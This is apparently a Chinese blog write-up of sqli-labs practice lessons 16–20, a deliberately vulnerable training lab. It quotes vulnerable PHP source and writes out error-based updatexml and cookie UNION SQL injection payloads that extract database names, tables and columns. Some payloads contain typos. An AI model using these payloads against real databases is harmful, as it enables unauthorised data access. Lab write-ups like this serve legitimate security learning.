sqli_labs less-16到less-20

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

布尔型注入,跟less-15差不多,只需要把'换成')
今天发现另一个新方式,只需要在Google的hackbar操作,比较简单
在这里插入图片描述
新方法来自wkend的博客:sqli-labs练习(十五、十六)

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

这个UpdateXML(‘xml_target’,‘xpath_expr’,‘new_xml’)是个新东西

要看一下源码

$uname = check_input($_POST['uname']);  
$passwd = $_POST['passwd'];

@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    $row1 = $row['username'];   
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    mysql_query($update);
    
    if (mysql_error())
        print_r(mysql_error());

    echo '<img src="../images/flag1.jpg"/>';    
}
else  
    echo '<img src="../images/slap1.jpg"/>';

从源码中可以看到:POST接收的uname和passwd后,check_input()首先对uname查询,若uname存在则用passwd替换password,若不存在则显示slap1.jpg。
mysql_real_escape_string()还会在\x00, \n, \r, \, ', " and \x1a这些字符前加入反斜线进行转义,防止注入。
suoyiyishanglai只有先猜测有一个admin,就只要用户名正确,数据库就能返回错误信息,就可以在查询注入里找返回信息。
分别爆破:

  1. 爆passworduname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1)--+&Submit
  2. 爆库payloaduname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&Submit
  3. 爆表uname=admin&passwd=admin' and updatexml(1,concat(0x7e,select group_concat(table_name)from information_schema.tables where table_achema=database()),0x7e),1)--+&submit=Submit
  4. 爆列uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

简单尝试了一下注入,结果都一样,琢磨着和less-17一样。
源码显示但是把passwo也做了check。还涉及了一个HTTP请求头。并且会回显IP。登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
所以
不会做

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

和less-18一样,注入是refer
所以,也不会做

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

php源码提到了查询语句查询$cookee,所以就在cookies里面进行注入,页面显示用户名是admin,应该就没错了。
爆库
Cookie: uname=-admin' union select 1,2,database()--+页面显示password说明爆破成功,之后就和前面一样修改一下playload继续爆就行。
今天两道题没做出来,生气了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sevenlob

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值